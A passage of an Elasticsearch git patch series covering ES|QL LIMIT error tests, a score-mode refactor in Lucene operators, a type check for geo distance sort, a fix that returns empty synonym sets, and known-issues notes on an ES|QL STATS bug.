@@ -181,13 +209,17 @@ public void testInvalidSample() {
         );
     }
 
-    private String error(String query) {
-        ParsingException e = expectThrows(ParsingException.class, () -> defaultAnalyzer.analyze(parser.createStatement(query)));
+    private String error(String query, QueryParams params) {
+        ParsingException e = expectThrows(ParsingException.class, () -> defaultAnalyzer.analyze(parser.createStatement(query, params)));
         String message = e.getMessage();
         assertTrue(message.startsWith("line "));
         return message.substring("line ".length());
     }
 
+    private String error(String query) {
+        return error(query, new QueryParams());
+    }
+
     private static IndexResolution loadIndexResolution(String name) {
         return IndexResolution.valid(new EsIndex(INDEX_NAME, LoadMapping.loadMapping(name)));
     }
diff --git a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/parser/StatementParserTests.java b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/parser/StatementParserTests.java
index 0460994f6a231..e7f43f4644684 100644
--- a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/parser/StatementParserTests.java
+++ b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/parser/StatementParserTests.java
@@ -945,10 +945,6 @@ public void testBasicLimitCommand() {
         assertThat(limit.children().get(0).children().get(0), instanceOf(UnresolvedRelation.class));
     }
 
-    public void testLimitConstraints() {
-        expectError("from text | limit -1", "line 1:13: Invalid value for LIMIT [-1], expecting a non negative integer");
-    }
-
     public void testBasicSortCommand() {
         LogicalPlan plan = statement("from text | where true | sort a+b asc nulls first, x desc nulls last | sort y asc | sort z desc");
         assertThat(plan, instanceOf(OrderBy.class));
diff --git a/x-pack/plugin/src/yamlRestTest/resources/rest-api-spec/test/esql/10_basic.yml b/x-pack/plugin/src/yamlRestTest/resources/rest-api-spec/test/esql/10_basic.yml
index 5b0492f9e847e..b9d20d4cd40cf 100644
--- a/x-pack/plugin/src/yamlRestTest/resources/rest-api-spec/test/esql/10_basic.yml
+++ b/x-pack/plugin/src/yamlRestTest/resources/rest-api-spec/test/esql/10_basic.yml
@@ -555,11 +555,11 @@ FROM EVAL SORT LIMIT with documents_found:
         - method: POST
           path: /_query
           parameters: [ ]
-          capabilities: [ parameter_for_limit ]
+          capabilities: [ normalized_limit_error_message ]
       reason: "named or positional parameters for field names"
 
   - do:
-      catch: "/Invalid value for LIMIT \\[foo: String\\], expecting a non negative integer/"
+      catch: "/value of \\[limit \\?l\\] must be a non negative integer, found value \\[\\?l\\] type \\[keyword\\]/"
       esql.query:
         body:
           query: 'from test | limit ?l'

From 9e054f5436bac31806d77e7abbe165fd826aaffe Mon Sep 17 00:00:00 2001
From: Ioana Tagirta <ioanatia@users.noreply.github.com>
Date: Fri, 11 Jul 2025 13:07:29 +0200
Subject: [PATCH 123/299] ES|QL: Infer score mode from collector (#131006)
 (#131023)

---
 .../compute/lucene/LuceneCountOperator.java   |  2 +-
 .../compute/lucene/LuceneMaxFactory.java      |  2 +-
 .../compute/lucene/LuceneMinFactory.java      |  2 +-
 .../compute/lucene/LuceneOperator.java        | 11 +++++++++--
 .../compute/lucene/LuceneSliceQueue.java      |  4 +++-
 .../compute/lucene/LuceneSourceOperator.java  |  2 +-
 .../lucene/LuceneTopNSourceOperator.java      | 19 ++++---------------
 .../TimeSeriesSourceOperatorFactory.java      |  2 +-
 8 files changed, 21 insertions(+), 23 deletions(-)

diff --git a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/LuceneCountOperator.java b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/LuceneCountOperator.java
index 626f0b00f0e2c..cded3a3494738 100644
--- a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/LuceneCountOperator.java
+++ b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/LuceneCountOperator.java
@@ -58,7 +58,7 @@ public Factory(
                 taskConcurrency,
                 limit,
                 false,
-                ScoreMode.COMPLETE_NO_SCORES
+                shardContext -> ScoreMode.COMPLETE_NO_SCORES
             );
             this.shardRefCounters = contexts;
         }
diff --git a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/LuceneMaxFactory.java b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/LuceneMaxFactory.java
index 82d766349ce9e..7e0003efaf669 100644
--- a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/LuceneMaxFactory.java
+++ b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/LuceneMaxFactory.java
@@ -129,7 +129,7 @@ public LuceneMaxFactory(
             taskConcurrency,
             limit,
             false,
-            ScoreMode.COMPLETE_NO_SCORES
+            shardContext -> ScoreMode.COMPLETE_NO_SCORES
         );
         this.contexts = contexts;
         this.fieldName = fieldName;
diff --git a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/LuceneMinFactory.java b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/LuceneMinFactory.java
index 505e5cd3f0d75..000ade1b19562 100644
--- a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/LuceneMinFactory.java
+++ b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/LuceneMinFactory.java
@@ -130,7 +130,7 @@ public LuceneMinFactory(
             taskConcurrency,
             limit,
             false,
-            ScoreMode.COMPLETE_NO_SCORES
+            shardContext -> ScoreMode.COMPLETE_NO_SCORES
         );
         this.shardRefCounters = contexts;
         this.fieldName = fieldName;
diff --git a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/LuceneOperator.java b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/LuceneOperator.java
index 366715530f665..f3eec4147f237 100644
--- a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/LuceneOperator.java
+++ b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/LuceneOperator.java
@@ -112,11 +112,18 @@ protected Factory(
             int taskConcurrency,
             int limit,
             boolean needsScore,
-            ScoreMode scoreMode
+            Function<ShardContext, ScoreMode> scoreModeFunction
         ) {
             this.limit = limit;
             this.dataPartitioning = dataPartitioning;
-            this.sliceQueue = LuceneSliceQueue.create(contexts, queryFunction, dataPartitioning, autoStrategy, taskConcurrency, scoreMode);
+            this.sliceQueue = LuceneSliceQueue.create(
+                contexts,
+                queryFunction,
+                dataPartitioning,
+                autoStrategy,
+                taskConcurrency,
+                scoreModeFunction
+            );
             this.taskConcurrency = Math.min(sliceQueue.totalSlices(), taskConcurrency);
             this.needsScore = needsScore;
         }
diff --git a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/LuceneSliceQueue.java b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/LuceneSliceQueue.java
index ee9f217303195..1a0b349b45f3f 100644
--- a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/LuceneSliceQueue.java
+++ b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/LuceneSliceQueue.java
@@ -112,12 +112,14 @@ public static LuceneSliceQueue create(
         DataPartitioning dataPartitioning,
         Function<Query, PartitioningStrategy> autoStrategy,
         int taskConcurrency,
-        ScoreMode scoreMode
+        Function<ShardContext, ScoreMode> scoreModeFunction
     ) {
         List<LuceneSlice> slices = new ArrayList<>();
         Map<String, PartitioningStrategy> partitioningStrategies = new HashMap<>(contexts.size());
+
         for (ShardContext ctx : contexts) {
             for (QueryAndTags queryAndExtra : queryFunction.apply(ctx)) {
+                var scoreMode = scoreModeFunction.apply(ctx);
                 Query query = queryAndExtra.query;
                 query = scoreMode.needsScores() ? query : new ConstantScoreQuery(query);
                 /*
diff --git a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/LuceneSourceOperator.java b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/LuceneSourceOperator.java
index 9fedc595641b4..5201eede502df 100644
--- a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/LuceneSourceOperator.java
+++ b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/LuceneSourceOperator.java
@@ -81,7 +81,7 @@ public Factory(
                 taskConcurrency,
                 limit,
                 needsScore,
-                needsScore ? COMPLETE : COMPLETE_NO_SCORES
+                shardContext -> needsScore ? COMPLETE : COMPLETE_NO_SCORES
             );
             this.contexts = contexts;
             this.maxPageSize = maxPageSize;
diff --git a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/LuceneTopNSourceOperator.java b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/LuceneTopNSourceOperator.java
index d93a5493a3aba..553b4319f22e9 100644
--- a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/LuceneTopNSourceOperator.java
+++ b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/LuceneTopNSourceOperator.java
@@ -12,14 +12,13 @@
 import org.apache.lucene.search.CollectionTerminatedException;
 import org.apache.lucene.search.FieldDoc;
 import org.apache.lucene.search.LeafCollector;
-import org.apache.lucene.search.Query;
 import org.apache.lucene.search.ScoreDoc;
+import org.apache.lucene.search.ScoreMode;
 import org.apache.lucene.search.Sort;
 import org.apache.lucene.search.SortField;
 import org.apache.lucene.search.TopDocsCollector;
 import org.apache.lucene.search.TopFieldCollectorManager;
 import org.apache.lucene.search.TopScoreDocCollectorManager;
-import org.apache.lucene.search.Weight;
 import org.elasticsearch.common.Strings;
 import org.elasticsearch.compute.data.BlockFactory;
 import org.elasticsearch.compute.data.DocBlock;
@@ -44,9 +43,6 @@
 import java.util.function.Function;
 import java.util.stream.Collectors;
 
-import static org.apache.lucene.search.ScoreMode.TOP_DOCS;
-import static org.apache.lucene.search.ScoreMode.TOP_DOCS_WITH_SCORES;
-
 /**
  * Source operator that builds Pages out of the output of a TopFieldCollector (aka TopN)
  */
@@ -75,7 +71,7 @@ public Factory(
                 taskConcurrency,
                 limit,
                 needsScore,
-                needsScore ? TOP_DOCS_WITH_SCORES : TOP_DOCS
+                scoreModeFunction(sorts, needsScore)
             );
             this.contexts = contexts;
             this.maxPageSize = maxPageSize;
@@ -331,18 +327,11 @@ static final class ScoringPerShardCollector extends PerShardCollector {
         }
     }
 
-    private static Function<ShardContext, Weight> weightFunction(
-        Function<ShardContext, Query> queryFunction,
-        List<SortBuilder<?>> sorts,
-        boolean needsScore
-    ) {
+    private static Function<ShardContext, ScoreMode> scoreModeFunction(List<SortBuilder<?>> sorts, boolean needsScore) {
         return ctx -> {
-            final var query = queryFunction.apply(ctx);
-            final var searcher = ctx.searcher();
             try {
                 // we create a collector with a limit of 1 to determine the appropriate score mode to use.
-                var scoreMode = newPerShardCollector(ctx, sorts, needsScore, 1).collector.scoreMode();
-                return searcher.createWeight(searcher.rewrite(query), scoreMode, 1);
+                return newPerShardCollector(ctx, sorts, needsScore, 1).collector.scoreMode();
             } catch (IOException e) {
                 throw new UncheckedIOException(e);
             }
diff --git a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/TimeSeriesSourceOperatorFactory.java b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/TimeSeriesSourceOperatorFactory.java
index 97286761b7bcf..bb1d889db3f85 100644
--- a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/TimeSeriesSourceOperatorFactory.java
+++ b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/TimeSeriesSourceOperatorFactory.java
@@ -45,7 +45,7 @@ private TimeSeriesSourceOperatorFactory(
             taskConcurrency,
             limit,
             false,
-            ScoreMode.COMPLETE_NO_SCORES
+            shardContext -> ScoreMode.COMPLETE_NO_SCORES
         );
         this.contexts = contexts;
         this.maxPageSize = maxPageSize;

From 8d8f7f4be4fce618dc5025909a0292837751be55 Mon Sep 17 00:00:00 2001
From: Luca Cavanna <javanna@apache.org>
Date: Fri, 11 Jul 2025 14:50:37 +0200
Subject: [PATCH 124/299] Check field data type before casting when applying
 geo distance sort (#130924) (#131018)

If a user tries to apply geo distance sorting to a field of the wrong type, they'll get
a 500 error that causes shard failures, because the field data impl gets casted to the
expected type without first checking that the field type is the one expected.
This commit addresses that by returning a 400 error instead.

Closes #129500
---
 docs/changelog/130924.yaml                             |  6 ++++++
 .../search/sort/GeoDistanceSortBuilder.java            |  8 +++++++-
 .../search/sort/GeoDistanceSortBuilderTests.java       | 10 ++++++++++
 3 files changed, 23 insertions(+), 1 deletion(-)
 create mode 100644 docs/changelog/130924.yaml

diff --git a/docs/changelog/130924.yaml b/docs/changelog/130924.yaml
new file mode 100644
index 0000000000000..09b0f3b90533c
--- /dev/null
+++ b/docs/changelog/130924.yaml
@@ -0,0 +1,6 @@
+pr: 130924
+summary: Check field data type before casting when applying geo distance sort
+area: Search
+type: bug
+issues:
+ - 129500
diff --git a/server/src/main/java/org/elasticsearch/search/sort/GeoDistanceSortBuilder.java b/server/src/main/java/org/elasticsearch/search/sort/GeoDistanceSortBuilder.java
index 61d20fa72e262..3c5033355b826 100644
--- a/server/src/main/java/org/elasticsearch/search/sort/GeoDistanceSortBuilder.java
+++ b/server/src/main/java/org/elasticsearch/search/sort/GeoDistanceSortBuilder.java
@@ -599,7 +599,13 @@ private IndexGeoPointFieldData fieldData(SearchExecutionContext context) {
                 throw new IllegalArgumentException("failed to find mapper for [" + fieldName + "] for geo distance based sort");
             }
         }
-        return context.getForField(fieldType, MappedFieldType.FielddataOperation.SEARCH);
+        IndexFieldData<?> indexFieldData = context.getForField(fieldType, MappedFieldType.FielddataOperation.SEARCH);
+        if (indexFieldData instanceof IndexGeoPointFieldData) {
+            return (IndexGeoPointFieldData) indexFieldData;
+        }
+        throw new IllegalArgumentException(
+            "unable to apply geo distance sort to field [" + fieldName + "] of type [" + fieldType.typeName() + "]"
+        );
     }
 
     private Nested nested(SearchExecutionContext context) throws IOException {
diff --git a/server/src/test/java/org/elasticsearch/search/sort/GeoDistanceSortBuilderTests.java b/server/src/test/java/org/elasticsearch/search/sort/GeoDistanceSortBuilderTests.java
index 17a9fb5974176..5bef1f4769cff 100644
--- a/server/src/test/java/org/elasticsearch/search/sort/GeoDistanceSortBuilderTests.java
+++ b/server/src/test/java/org/elasticsearch/search/sort/GeoDistanceSortBuilderTests.java
@@ -23,6 +23,7 @@
 import org.elasticsearch.index.mapper.GeoPointFieldMapper;
 import org.elasticsearch.index.mapper.MappedFieldType;
 import org.elasticsearch.index.mapper.NestedPathFieldMapper;
+import org.elasticsearch.index.mapper.NumberFieldMapper;
 import org.elasticsearch.index.query.GeoValidationMethod;
 import org.elasticsearch.index.query.MatchAllQueryBuilder;
 import org.elasticsearch.index.query.MatchNoneQueryBuilder;
@@ -99,6 +100,9 @@ public static GeoDistanceSortBuilder randomGeoDistanceSortBuilder() {
 
     @Override
     protected MappedFieldType provideMappedFieldType(String name) {
+        if (name.equals("double")) {
+            return new NumberFieldMapper.NumberFieldType(name, NumberFieldMapper.NumberType.DOUBLE);
+        }
         return new GeoPointFieldMapper.GeoPointFieldType(name);
     }
 
@@ -531,6 +535,12 @@ public void testBuildInvalidPoints() throws IOException {
             );
             assertEquals("illegal longitude value [-360.0] for [GeoDistanceSort] for field [fieldName].", ex.getMessage());
         }
+        {
+            GeoDistanceSortBuilder sortBuilder = new GeoDistanceSortBuilder("double", 0.0, 180.0);
+            sortBuilder.validation(GeoValidationMethod.STRICT);
+            IllegalArgumentException ex = expectThrows(IllegalArgumentException.class, () -> sortBuilder.build(searchExecutionContext));
+            assertEquals("unable to apply geo distance sort to field [double] of type [double]", ex.getMessage());
+        }
     }
 
     /**

From 024daff5e3d14d922669903598e80c81ee10b004 Mon Sep 17 00:00:00 2001
From: Samiul Monir <150824886+Samiul-TheSoccerFan@users.noreply.github.com>
Date: Fri, 11 Jul 2025 09:20:30 -0400
Subject: [PATCH 125/299] [Synonym] Return Empty RuleSet (#131032) (#131086)

* Adding filter agg to include empty synonym sets

* Adding featurespecification for synonyms

* linting

* Update docs/changelog/131032.yaml

* update changelog

* Adding synonym feature into module-info

* sorted the expected response

---------

Co-authored-by: Elastic Machine <elasticmachine@users.noreply.github.com>
---
 docs/changelog/131032.yaml                    |  5 +++
 .../test/synonyms/40_synonyms_sets_get.yml    | 30 ++++++++++++++++
 server/src/main/java/module-info.java         |  1 +
 .../synonyms/SynonymFeatures.java             | 24 +++++++++++++
 .../SynonymsManagementAPIService.java         | 35 +++++++++++++++----
 ...lasticsearch.features.FeatureSpecification |  1 +
 6 files changed, 90 insertions(+), 6 deletions(-)
 create mode 100644 docs/changelog/131032.yaml
 create mode 100644 server/src/main/java/org/elasticsearch/synonyms/SynonymFeatures.java

diff --git a/docs/changelog/131032.yaml b/docs/changelog/131032.yaml
new file mode 100644
index 0000000000000..c7cbc3af0f9c7
--- /dev/null
+++ b/docs/changelog/131032.yaml
@@ -0,0 +1,5 @@
+pr: 131032
+summary: "Fix: `GET _synonyms` returns synonyms with empty rules"
+area: Relevance
+type: bug
+issues: []
diff --git a/rest-api-spec/src/yamlRestTest/resources/rest-api-spec/test/synonyms/40_synonyms_sets_get.yml b/rest-api-spec/src/yamlRestTest/resources/rest-api-spec/test/synonyms/40_synonyms_sets_get.yml
index 9d6540c118ce5..9ba66d3100eb1 100644
--- a/rest-api-spec/src/yamlRestTest/resources/rest-api-spec/test/synonyms/40_synonyms_sets_get.yml
+++ b/rest-api-spec/src/yamlRestTest/resources/rest-api-spec/test/synonyms/40_synonyms_sets_get.yml
@@ -157,3 +157,33 @@ setup:
 
   - match:
       count: 12
+
+---
+"Return empty rule set":
+  - requires:
+      cluster_features: [ synonyms_set.get.return_empty_synonym_sets ]
+      reason: "synonyms_set get api return empty synonym sets"
+
+  - do:
+      synonyms.put_synonym:
+        id: empty-synonyms
+        body:
+          synonyms_set: []
+
+  - do:
+      synonyms.get_synonyms_sets: {}
+
+  - match:
+      count: 4
+
+  - match:
+      results:
+        - synonyms_set: "empty-synonyms"
+          count: 0
+        - synonyms_set: "test-synonyms-1"
+          count: 3
+        - synonyms_set: "test-synonyms-2"
+          count: 1
+        - synonyms_set: "test-synonyms-3"
+          count: 2
+
diff --git a/server/src/main/java/module-info.java b/server/src/main/java/module-info.java
index e6a44a0fba7a4..66811ab3ce44b 100644
--- a/server/src/main/java/module-info.java
+++ b/server/src/main/java/module-info.java
@@ -429,6 +429,7 @@
             org.elasticsearch.index.mapper.MapperFeatures,
             org.elasticsearch.index.IndexFeatures,
             org.elasticsearch.search.SearchFeatures,
+            org.elasticsearch.synonyms.SynonymFeatures,
             org.elasticsearch.script.ScriptFeatures,
             org.elasticsearch.search.retriever.RetrieversFeatures,
             org.elasticsearch.action.admin.cluster.stats.ClusterStatsFeatures;
diff --git a/server/src/main/java/org/elasticsearch/synonyms/SynonymFeatures.java b/server/src/main/java/org/elasticsearch/synonyms/SynonymFeatures.java
new file mode 100644
index 0000000000000..b42143ed899a3
--- /dev/null
+++ b/server/src/main/java/org/elasticsearch/synonyms/SynonymFeatures.java
@@ -0,0 +1,24 @@
+/*
+ * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+ * or more contributor license agreements. Licensed under the "Elastic License
+ * 2.0", the "GNU Affero General Public License v3.0 only", and the "Server Side
+ * Public License v 1"; you may not use this file except in compliance with, at
+ * your election, the "Elastic License 2.0", the "GNU Affero General Public
+ * License v3.0 only", or the "Server Side Public License, v 1".
+ */
+
+package org.elasticsearch.synonyms;
+
+import org.elasticsearch.features.FeatureSpecification;
+import org.elasticsearch.features.NodeFeature;
+
+import java.util.Set;
+
+public class SynonymFeatures implements FeatureSpecification {
+    private static final NodeFeature RETURN_EMPTY_SYNONYM_SETS = new NodeFeature("synonyms_set.get.return_empty_synonym_sets");
+
+    @Override
+    public Set<NodeFeature> getTestFeatures() {
+        return Set.of(RETURN_EMPTY_SYNONYM_SETS);
+    }
+}
diff --git a/server/src/main/java/org/elasticsearch/synonyms/SynonymsManagementAPIService.java b/server/src/main/java/org/elasticsearch/synonyms/SynonymsManagementAPIService.java
index 70b020eb66ab5..06dce1724d392 100644
--- a/server/src/main/java/org/elasticsearch/synonyms/SynonymsManagementAPIService.java
+++ b/server/src/main/java/org/elasticsearch/synonyms/SynonymsManagementAPIService.java
@@ -50,6 +50,9 @@
 import org.elasticsearch.indices.SystemIndexDescriptor;
 import org.elasticsearch.rest.RestStatus;
 import org.elasticsearch.search.aggregations.BucketOrder;
+import org.elasticsearch.search.aggregations.bucket.filter.Filters;
+import org.elasticsearch.search.aggregations.bucket.filter.FiltersAggregationBuilder;
+import org.elasticsearch.search.aggregations.bucket.filter.FiltersAggregator;
 import org.elasticsearch.search.aggregations.bucket.terms.Terms;
 import org.elasticsearch.search.aggregations.bucket.terms.TermsAggregationBuilder;
 import org.elasticsearch.search.builder.SearchSourceBuilder;
@@ -94,6 +97,8 @@ public class SynonymsManagementAPIService {
     private static final int MAX_SYNONYMS_SETS = 10_000;
     private static final String SYNONYM_RULE_ID_FIELD = SynonymRule.ID_FIELD.getPreferredName();
     private static final String SYNONYM_SETS_AGG_NAME = "synonym_sets_aggr";
+    private static final String RULE_COUNT_AGG_NAME = "rule_count";
+    private static final String RULE_COUNT_FILTER_KEY = "synonym_rules";
     private static final int SYNONYMS_INDEX_MAPPINGS_VERSION = 1;
     public static final int INDEX_SEARCHABLE_TIMEOUT_SECONDS = 30;
     private final int maxSynonymsSets;
@@ -185,15 +190,33 @@ private static XContentBuilder mappings() {
         }
     }
 
+    /**
+     * Returns all synonym sets with their rule counts, including empty synonym sets.
+     * @param from The index of the first synonym set to return
+     * @param size The number of synonym sets to return
+     * @param listener The listener to return the synonym sets to
+     */
     public void getSynonymsSets(int from, int size, ActionListener<PagedResult<SynonymSetSummary>> listener) {
+        BoolQueryBuilder synonymSetQuery = QueryBuilders.boolQuery()
+            .should(QueryBuilders.termQuery(OBJECT_TYPE_FIELD, SYNONYM_SET_OBJECT_TYPE))
+            .should(QueryBuilders.termQuery(OBJECT_TYPE_FIELD, SYNONYM_RULE_OBJECT_TYPE))
+            .minimumShouldMatch(1);
+
+        // Aggregation query to count only synonym rules (excluding synonym set objects)
+        FiltersAggregationBuilder ruleCountAggregation = new FiltersAggregationBuilder(
+            RULE_COUNT_AGG_NAME,
+            new FiltersAggregator.KeyedFilter(RULE_COUNT_FILTER_KEY, QueryBuilders.termQuery(OBJECT_TYPE_FIELD, SYNONYM_RULE_OBJECT_TYPE))
+        );
+
         client.prepareSearch(SYNONYMS_ALIAS_NAME)
             .setSize(0)
             // Retrieves aggregated synonym rules for each synonym set, excluding the synonym set object type
-            .setQuery(QueryBuilders.termQuery(OBJECT_TYPE_FIELD, SYNONYM_RULE_OBJECT_TYPE))
+            .setQuery(synonymSetQuery)
             .addAggregation(
                 new TermsAggregationBuilder(SYNONYM_SETS_AGG_NAME).field(SYNONYMS_SET_FIELD)
                     .order(BucketOrder.key(true))
                     .size(maxSynonymsSets)
+                    .subAggregation(ruleCountAggregation)
             )
             .setPreference(Preference.LOCAL.type())
             .execute(new ActionListener<>() {
@@ -201,11 +224,11 @@ public void getSynonymsSets(int from, int size, ActionListener<PagedResult<Synon
                 public void onResponse(SearchResponse searchResponse) {
                     Terms termsAggregation = searchResponse.getAggregations().get(SYNONYM_SETS_AGG_NAME);
                     List<? extends Terms.Bucket> buckets = termsAggregation.getBuckets();
-                    SynonymSetSummary[] synonymSetSummaries = buckets.stream()
-                        .skip(from)
-                        .limit(size)
-                        .map(bucket -> new SynonymSetSummary(bucket.getDocCount(), bucket.getKeyAsString()))
-                        .toArray(SynonymSetSummary[]::new);
+                    SynonymSetSummary[] synonymSetSummaries = buckets.stream().skip(from).limit(size).map(bucket -> {
+                        Filters ruleCountFilters = bucket.getAggregations().get(RULE_COUNT_AGG_NAME);
+                        Filters.Bucket ruleCountBucket = ruleCountFilters.getBucketByKey(RULE_COUNT_FILTER_KEY);
+                        return new SynonymSetSummary(ruleCountBucket.getDocCount(), bucket.getKeyAsString());
+                    }).toArray(SynonymSetSummary[]::new);
 
                     listener.onResponse(new PagedResult<>(buckets.size(), synonymSetSummaries));
                 }
diff --git a/server/src/main/resources/META-INF/services/org.elasticsearch.features.FeatureSpecification b/server/src/main/resources/META-INF/services/org.elasticsearch.features.FeatureSpecification
index 14749330f09da..4cc2e658e798d 100644
--- a/server/src/main/resources/META-INF/services/org.elasticsearch.features.FeatureSpecification
+++ b/server/src/main/resources/META-INF/services/org.elasticsearch.features.FeatureSpecification
@@ -14,6 +14,7 @@ org.elasticsearch.rest.action.admin.cluster.GetSnapshotsFeatures
 org.elasticsearch.index.IndexFeatures
 org.elasticsearch.index.mapper.MapperFeatures
 org.elasticsearch.search.SearchFeatures
+org.elasticsearch.synonyms.SynonymFeatures
 org.elasticsearch.search.retriever.RetrieversFeatures
 org.elasticsearch.script.ScriptFeatures
 org.elasticsearch.cluster.routing.RoutingFeatures

From 6e2b561af2f0169efd4bd3a43312c0e95e17e5a0 Mon Sep 17 00:00:00 2001
From: Luigi Dell'Aquila <luigi.dellaquila@gmail.com>
Date: Fri, 11 Jul 2025 15:42:55 +0200
Subject: [PATCH 126/299] ES|QL: Add note in Known Issues for #130644 (#130996)
 (#131092)

---
 .../query-languages/esql/limitations.md       |  3 +++
 docs/release-notes/known-issues.md            | 22 +++++++++++++++++--
 2 files changed, 23 insertions(+), 2 deletions(-)

diff --git a/docs/reference/query-languages/esql/limitations.md b/docs/reference/query-languages/esql/limitations.md
index 83ae009a7d0ca..5f4417aa78e98 100644
--- a/docs/reference/query-languages/esql/limitations.md
+++ b/docs/reference/query-languages/esql/limitations.md
@@ -250,3 +250,6 @@ Work around this limitation by converting the field to single value with one of
 * CSV export from Discover shows no more than 10,000 rows. This limit only applies to the number of rows that are retrieved by the query and displayed in Discover. Queries and aggregations run on the full data set.
 * Querying many indices at once without any filters can cause an error in kibana which looks like `[esql] > Unexpected error from Elasticsearch: The content length (536885793) is bigger than the maximum allowed string (536870888)`. The response from {{esql}} is too long. Use [`DROP`](/reference/query-languages/esql/commands/processing-commands.md#esql-drop) or [`KEEP`](/reference/query-languages/esql/commands/processing-commands.md#esql-keep) to limit the number of fields returned.
 
+## Known issues [esql-known-issues]
+
+Refer to [Known issues](/release-notes/known-issues.md) for a list of known issues for {{esql}}.
diff --git a/docs/release-notes/known-issues.md b/docs/release-notes/known-issues.md
index a20cff68c225c..ed3733b0f2a82 100644
--- a/docs/release-notes/known-issues.md
+++ b/docs/release-notes/known-issues.md
@@ -8,10 +8,19 @@ mapped_pages:
 Known issues are significant defects or limitations that may impact your implementation. These issues are actively being worked on and will be addressed in a future release. Review the Elasticsearch known issues to help you make informed decisions, such as upgrading to a new version.
 
 ## 9.0.3 [elasticsearch-9.0.3-known-issues]
-A bug in the merge scheduler in Elasticsearch 9.0.3 may prevent shards from closing when there isn’t enough disk space to complete a merge. As a result, operations such as closing or relocating an index may hang until sufficient disk space becomes available.
+* A bug in the merge scheduler in Elasticsearch 9.0.3 may prevent shards from closing when there isn’t enough disk space to complete a merge. As a result, operations such as closing or relocating an index may hang until sufficient disk space becomes available.
 To mitigate this issue, the disk space checker is disabled by default in 9.0.3 by setting `indices.merge.disk.check_interval` to `0` seconds. Manually enabling this setting is not recommended.
 
-This issue is planned to be fixed in future patch release [#129613](https://github.com/elastic/elasticsearch/pull/129613)
+  This issue is planned to be fixed in future patch release [#129613](https://github.com/elastic/elasticsearch/pull/129613)
+
+* A bug in the ES|QL STATS command may yield incorrect results. The bug only happens in very specific cases that follow this pattern: `STATS ... BY keyword1, keyword2`, i.e. the command must have exactly two grouping fields, both keywords, where the first field has high cardinality (more than 65k distinct values).
+
+  The bug is described in detail in [this issue](https://github.com/elastic/elasticsearch/issues/130644).
+  The problem was introduced in 8.16.0 and [fixed](https://github.com/elastic/elasticsearch/pull/130705) in 8.17.9, 8.18.7, 9.0.4.
+
+  Possible workarounds include:
+  * switching the order of the grouping keys (eg. `STATS ... BY keyword2, keyword1`, if the `keyword2` has a lower cardinality)
+  * reducing the grouping key cardinality, by filtering out values before STATS
 
 ## 9.0.0 [elasticsearch-9.0.0-known-issues]
 * Elasticsearch on Windows might fail to start, or might forbid some file-related operations, when referencing paths with a case different from the one stored by the filesystem. Windows treats paths as case-insensitive, but the filesystem stores them with case. Entitlements, the new security system used by Elasticsearch, treat all paths as case-sensitive, and can therefore prevent access to a path that should be accessible.
@@ -40,3 +49,12 @@ This issue will be fixed in a future patch release (see [PR #126990](https://git
      DELETE _index_template/.watches
      POST /_watcher/_start
      ```
+
+* A bug in the ES|QL STATS command may yield incorrect results. The bug only happens in very specific cases that follow this pattern: `STATS ... BY keyword1, keyword2`, i.e. the command must have exactly two grouping fields, both keywords, where the first field has high cardinality (more than 65k distinct values).
+
+  The bug is described in detail in [this issue](https://github.com/elastic/elasticsearch/issues/130644).
+  The problem was introduced in 8.16.0 and [fixed](https://github.com/elastic/elasticsearch/pull/130705) in 8.17.9, 8.18.7, 9.0.4.
+
+  Possible workarounds include:
+    * switching the order of the grouping keys (eg. `STATS ... BY keyword2, keyword1`, if the `keyword2` has a lower cardinality)
+    * reducing the grouping key cardinality, by filtering out values before STATS

From 255412025135ebc2988dd76dd0f8c926cfc8aaf9 Mon Sep 17 00:00:00 2001
From: Nhat Nguyen <nhat.nguyen@elastic.co>
Date: Fri, 11 Jul 2025 09:53:27 -0700
Subject: [PATCH 127/299] Rename prepareProcessPage to
 prepareProcessRawInputPage (#130487) (#131110)

This PR proposes renaming `prepareProcessPage` to
`prepareProcessRawInputPage` for two reasons:

1. The name `prepareProcessPage` can be confusing, as it suggests
